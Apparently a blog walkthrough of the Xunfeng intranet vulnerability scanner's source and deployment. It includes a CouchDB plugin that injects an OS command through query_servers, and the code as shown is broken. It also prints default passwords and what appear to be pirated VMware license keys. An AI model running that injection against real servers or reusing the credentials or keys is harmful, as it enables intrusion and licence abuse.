Same journey SRC Patrol - intranet vulnerability emergency cruise scanning system

Posted by JeanieTallis on Sat, 29 Jan 2022 11:58:38 +0100

  • Analysis of patrol source code -- detailed understanding and use

Patrol is a quick emergency and cruise scanning system for vulnerabilities in the enterprise intranet.

View the internal network asset distribution, specify the vulnerability plug-in, quickly detect the vulnerability of the search results, and output the result report

Portal

  • Its main body is divided into two parts: network asset identification engine and vulnerability detection engine.

Use examples:

 	import urllib2
	import random
	import socket

def get_plugin_info():  # Plug in description information
    plugin_info = {
            "name": "CouchDB Unauthorized access",
            "info": "This leads to the disclosure of sensitive information. The attacker can execute system commands through the control panel, causing the server to be invaded.",
            "level": "high-risk",
            "type": "Unauthorized access",
            "author": "wolf@YSRC",
            "url": "",
            "keyword": "server:couchdb",  # Recommended search keywords
    }

def get_ver_ip(ip):
    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    csock.connect((ip, 80))
    (addr, port) = csock.getsockname()
    csock.close()
    return addr

def random_str(len):
    str1=""
    for i in range(len):
        str1+=(random.choice("ABCDEFGH1234567890"))
    return str(str1)

def check(ip,port,timeout):
    rand_str = random_str(8)
    cmd = random_str(4)
    server_ip = get_ver_ip()
    req_list = [
        ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
        ["/vultest123",''],
        ["/vultest123/test",'{"_id":"safetest"}']
    ]
    for req_info in req_list:
        try:
            request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
            request.get_method = lambda: 'PUT'
            urllib2.urlopen(request)
        except:
            pass
    try:
        req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
        req_exec.add_header("Content-Type","application/json")
        urllib2.urlopen(req_exec)
    except:
        pass
    check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
    if 'YES' in check:
        return u"Unauthorized access"

========

 	1, Add IP
 	Menu "configuration"--""Network asset probe list"

2, Set asset detection cycle
 Set the scanning cycle of asset detection,

After the asset is added, about 40 s Then go to the "Statistics" menu to view the survival check results	

When the assets are updated, the related services of wind patrol must be restarted manually.

Execute again sh Run.sh that will do


three. Scan
 
Query first

Select the found IP,And add a new task

 Task related settings

Finally, click Save to prompt "add successfully"

4, View task
 Menu "tasks"--Click the new task to view it.

========

Manual test to make:

Fill in the correct masscan Path and asset scope

  • Source code analysis of patrol -- source code analysis

aider 					This directory is used for authentication
db 				 		database
dockerconf 				docker Configuration of
docs  					windows Linux docker Usage documents in environment
install 				.sh ,That should be Linux The folder used during the installation of
masscan 		 		What is stored in it is different according to different operating systems masscan Version of
nascan 					Asset detection related things
venv 					Virtual environment, this is based on requirements.txt Virtual installation created
views 					View storage of patrol
vulscan 				The directory stores vulnerability detection(Including playing poc)

mogod.exe 					Used to start mongodb

Run.py			 			start-up web website

Aider.py  					# Auxiliary validation script

VulScan.py 				 	# Vulnerability detection engine

NAScan.py  					# Network asset information capture engine

flask frame
 Pay attention to the jump of view function. Some places do not jump
  • lib is a dynamic library
  • Inside lib___ init __.py is to do initialization (empty file)

  • Execute this before referencing the files in this directory__ init __

  • Anti csrf Patrol's csrf defense,

Patrol for csrf Defense is to add referer Form of

(there are two mechanisms for csrf defense. One is to add token,
One is to add referer, which is safer than adding token,
After all, referer s can be forged)

	-- judge referer The basis is, first in a request There must be referer,
	Another one referer The format of must be equal to that in the server--
from functools import wraps
from flask import url_for, redirect, request
# Check referer
def anticsrf(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        try:
            if request.referrer and request.referrer.replace('http://', '').split('/')[0] == request.host:
                return f(*args, **kwargs)
            else:
                return redirect(url_for('NotFound'))
        except Exception, e:
            print e
            return redirect(url_for('Error'))

    return wrapper
  • Conn.py is a file that connects mongdb's data
 from pymongo import MongoClient


# Database connection
class MongoDB(object):
    def __init__(self, host='localhost', port=27017, database='xunfeng', username='', password=''):
        self.host = host
        self.port = port
        self.database = database
        self.conn = MongoClient(self.host, self.port)
        self.coll = self.conn[self.database]
        self.coll.authenticate(username, password)
  • Create_Excel.py script for creating excel
 # -*- coding: UTF-8 -*-

import xlwt
import StringIO


# Save data as excel
def write_data(data, tname):
    file = xlwt.Workbook(encoding='utf-8')
    table = file.add_sheet(tname, cell_overwrite_ok=True)
    l = 0
    for line in data:
        c = 0
        for _ in line:
            table.write(l, c, line[c])
            c += 1
        l += 1
    sio = StringIO.StringIO()
    file.save(sio)
    return sio


# excel business logic processing
def CreateTable(cursor, id):
    item = []
    item.append(['IP', 'port', 'host name', 'Risk level', 'Vulnerability description', 'Plug in type', 'Task name', 'time', 'Scan batch'])
    for i in cursor:
        if i['lastscan']:
            _ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],
                 i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'),
                 i['lastscan'].strftime('%Y-%m-%d %H:%M:%S')]
        else:
            _ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],
                 i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'), '']
        item.append(_)
    file = write_data(item, id)
    return file.getvalue()
  • The most important thing is to import a xlwt library,
  • This library writes files in whole lines
  • StringIO is very similar to file object, but it is not a file on disk, but a "file" in memory. We can operate StringIO like a disk file.
  • def write_data() is the operation of saving and writing an excel,
    create_table is the operation written in excel.
  • Login.py uses a decorator to limit whether there is a session,
 def logincheck(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        try:
            if session.has_key('login'):
                if session['login'] == 'loginsuccess':
                    return f(*args, **kwargs)
                else:
                    return redirect(url_for('Login'))
            else:
                return redirect(url_for('Login'))
        except Exception, e:
            print e
            return redirect(url_for('Error'))
  • QueryLogic is to process the data when searching on the home page,
 import re


def mgo_text_split(query_text):
    ''' split text to support mongodb $text match on a phrase '''
    sep = r'[`\-=~!@#$%^&*()_+\[\]{};\'\\:"|<,./<>?]'
    word_lst = re.split(sep, query_text)
    text_query = ' '.join('\"{}\"'.format(w) for w in word_lst)
    return text_query


# Search logic
def querylogic(list):
    query = {}
    if len(list) > 1 or len(list[0].split(':')) > 1:
        for _ in list:
            if _.find(':') > -1:
                q_key, q_value = _.split(':', 1)
                if q_key == 'port':
                    query['port'] = int(q_value)
                elif q_key == 'banner':
                    zhPattern = re.compile(u'[\u4e00-\u9fa5]+')
                    contents = q_value
                    match = zhPattern.search(contents)
                    # If there is no Chinese, use full-text index
                    if match:
                        query['banner'] = {"$regex": q_value, '$options': 'i'}
                    else:
                        text_query = mgo_text_split(q_value)
                        query['$text'] = {'$search': text_query, '$caseSensitive':True}
                elif q_key == 'ip':
                    query['ip'] = {"$regex": q_value}
                elif q_key == 'server':
                    query['server'] = q_value.lower()
                elif q_key == 'title':
                    query['webinfo.title'] = {"$regex": q_value, '$options': 'i'}
                elif q_key == 'tag':
                    query['webinfo.tag'] = q_value.lower()
                elif q_key == 'hostname':
                    query['hostname'] = {"$regex": q_value, '$options': 'i'}
                elif q_key == 'all':
                    filter_lst = []
                    for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):
                        filter_lst.append({i: {"$regex": q_value, '$options': 'i'}})
                    query['$or'] = filter_lst
                else:
                    query[q_key] = q_value
    else:
        filter_lst = []
        for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):
            filter_lst.append({i: {"$regex": list[0], '$options': 'i'}})
        query['$or'] = filter_lst
    return query
  • If the user enters port:22, the port under analysis is 22. This should be based on: segmentation

  • All the results of port 22 will be known when searching

  • views.static directory. This directory is to put pictures, CSS and JS front-end related things
    Except that html is encapsulated in this directory, which is defined by flash.

  • views. The templates directory encapsulates all html used by view functions.

  • view.views is the file that stores all views of the patrol.

  • A view can be understood as a url link.

 @app.route('/login', methods=['get', 'post'])
def Login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        account = request.form.get('account')
        password = request.form.get('password')
        if account == app.config.get('ACCOUNT') and password == app.config.get('PASSWORD'):
            session['login'] = 'loginsuccess'
            return redirect(url_for('Search'))
        else:
            return redirect(url_for('Login'))

Get the ACCOUNT and PASSWORD, and then judge whether they are the same as the ACCOUNT and PASSWORD saved in config

  • config.py
 # coding:utf-8
class Config(object):
    ACCOUNT = 'admin'
    PASSWORD = '123456'


class ProductionConfig(Config):
    DB = '127.0.0.1'
    PORT = 65521
    DBUSERNAME = 'scan'
    DBPASSWORD = 'scanlol66'
    DBNAME = 'xunfeng'

Because it is for personal use, a user table is not created in the database.
Directly verify with the in config, and then add a constant to the session.
If the verification is correct, it will be redirected to Search. If it is wrong, it will be redirected to Login.

  • filter is to directly render a search html
 @app.route('/filter')
@logincheck
def Search():
    return render_template('search.html')

search. In HTML, in addition to this search,
Others are redirected through a tag,
The only search function is to send messages through ajax

If the search is for port: 22, the result should be

This is the corresponding view

 @app.route('/')
@logincheck
def Main():
    q = request.args.get('q', '')
    # Here, you can obtain the two parameters in the search criteria to query
    page = int(request.args.get('page', '1'))
    plugin = Mongo.coll['Plugin'].find()  # Plug in list
    plugin_type = plugin.distinct('type')  # List of plug-in types
    if q:  # Display results based on search criteria
        result = q.strip().split(';')
        query = querylogic(result)
        cursor = Mongo.coll['Info'].find(query).sort('time', -1).limit(page_size).skip((page - 1) * page_size)
        return render_template('main.html', item=cursor, plugin=plugin, itemcount=cursor.count(),
                               plugin_type=plugin_type, query=q)
    else:  # User defined, no results, user added manually
        return render_template('main.html', item=[], plugin=plugin, itemcount=0, plugin_type=plugin_type)

q is the tag to get the search,
This request args. Get () is something that can be studied

Basically, they send data to the backend through ajax.

  • Penetration test - Win10 deployment and commissioning patrol

To install the python interpreter:

https://sec.ly.com/mirror/python-2.7.13.amd64.msi

python dependency Library

Download and install the PIP tool, https://pypi.python.org/pypi/pip#downloads After downloading and decompressing, execute:

python setup.py install

Use pip to install the python dependency library. Here we use the pypi source of Douban.

pip install -r requirements.txt -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com


Because I have installed Anaconda, some dependencies already exist

mount this database

download: https://sec.ly.com/mirror/mongodb-win32-x86_64-2008plus-ssl-3.4.0-signed.msi

2, Deployment and configuration

  1. Start database
    DBData is the specified database saving path. You need to create a new DBData folder and write the DBData path

    mongod.exe --port 65521 --dbpath DBData

  1. mongodb add authentication
    You may need to wait a little longer and be patient

     $ mongo 127.0.0.1:65521/xunfeng
     > db.createUser({user:'scan',pwd:'your password',roles:[{role:'dbOwner',db:'xunfeng'}]})
     > exit
    

  1. Import database
    The db folder is located in the xunfeng code directory: that is, the db file in the downloaded xunfeng file can be written as the path of db

     $ mongorestore.exe -h 127.0.0.1:65521 -d xunfeng db
    

Close mongod.com after importing Exe process

  1. Modify configuration
    Modify the system database configuration script config py:
  class Config(object):
    ACCOUNT = 'admin'
    PASSWORD = 'xunfeng321'
modify  DBPASSWORD Password in field, Set it to your password.
 
class ProductionConfig(Config):
    DB = '127.0.0.1'
    PORT = 65521
    DBUSERNAME = 'scan'
    DBPASSWORD = 'scanlol66'
    DBNAME = 'xunfeng'
  1. Operating system
    Modify according to the actual situation Py and run Bat file, execute:

run.bat
run.bat file: I removed the authentication.

 start mongod.exe --port 65521 --dbpath E:\yjs\MongoDB\DBdata
start python web.py
start python aider/aider.py
start python nascan/nascan.py
start python vulscan/vulscan.py

How to run run Bat file

I put the xunfneg folder on the upper layer of the bat file, hold down the shift right button, select here, open powershell, and then enter

./runbat

Several command windows can appear, and success is achieved without flashing back.

Enter on the web The port and ip set in the PY file can access the patrol

  • python 3.7

    Print after Python 3.0 is changed to print();












Space time gate

  • Ubuntu deployment and debugging Tour

giehub documentation
1.1 operating system dependency


  • Solve the problem of dragging the transmission card
 YG5H2-ANZ0H-M8ERY-TXZZZ-YKRV8

UG5J2-0ME12-M89WY-NPWXX-WQH88

UA5DR-2ZD4H-089FY-6YQ5T-YPRX6

GA590-86Y05-4806Y-X4PEE-ZV8E0

ZF582-0NW5N-H8D2P-0XZEE-Z22VA

YA18K-0WY8P-H85DY-L4NZG-X7RAD 
 
  • win10 to 1903, which leads to the mismatch of VMware version. It can be solved by updating to more than 15.1


  # storage
storage:
    dbPath: /opt/mongodb423/data/

# network
net:
    bindIp: 127.0.0.1
    # The default is 27017
    port: 11111
   
# journal
systemLog:
    destination: file
    path: /opt/mongodb423/logs/mongodb423.log
    logAppend: true 


Quote this article



  • docker installation
  • apt install docker.io docker-compose -y

Topics: security penetration test Web Security